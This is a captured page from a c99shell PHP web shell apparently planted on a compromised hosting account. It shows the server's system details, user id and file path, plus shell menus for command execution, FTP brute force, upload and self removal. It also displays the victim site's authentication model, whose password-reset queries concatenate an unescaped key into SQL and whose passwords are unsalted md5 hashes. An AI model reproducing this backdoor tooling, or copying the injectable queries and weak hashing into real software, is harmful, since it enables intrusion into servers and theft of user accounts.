smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/test/application/models/   drwxr-xr-x
Free 3429.57 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Auth_model.php (1.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class Auth_model extends CI_Model

{

    public function 
checkUser($email$password){

        return 
$this->db->get_where('users', array('email' => $email'password' => md5($password)))->num_rows() == 1;

    }

    public function 
insertUser($name$email$password$city$address) {

        return 
$this->db->insert('users', array(

            
"id" => null,

            
"name" => $name,

            
"email" => $email,

            
"password" => md5($password),

            
"api_key" => md5($email.$password.(string)time()),

            
"balance" => 0,

            
"reg_date" => time(),

            
"type" => 0,

            
"city" => empty($city) ? "" $city,

            
"address" => empty($address) ? "" $address

        
));

    }

    public function 
checkEmail($email) {

        return 
$this->db->get_where('users', array('email' => $email))->num_rows() == 1;

    }

    public function 
checkResetKey($key) {

        return 
$this->db->query("SELECT * from users WHERE MD5(CONCAT(email,password)) = '$key'")->num_rows() == 1;

    }

    public function 
resetPasswordByKey($new_password,$key) {

        
$pass md5($new_password);

        
$this->db->query("UPDATE users SET password = '$pass' WHERE MD5(CONCAT(email,password)) = '$key'");

    }

    public function 
getUserByEmail($email) {

        
$result $this->db->get_where('users', array('email' => $email))->result_array();

        return 
count($result) > $result[0] : null;

    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0038 ]--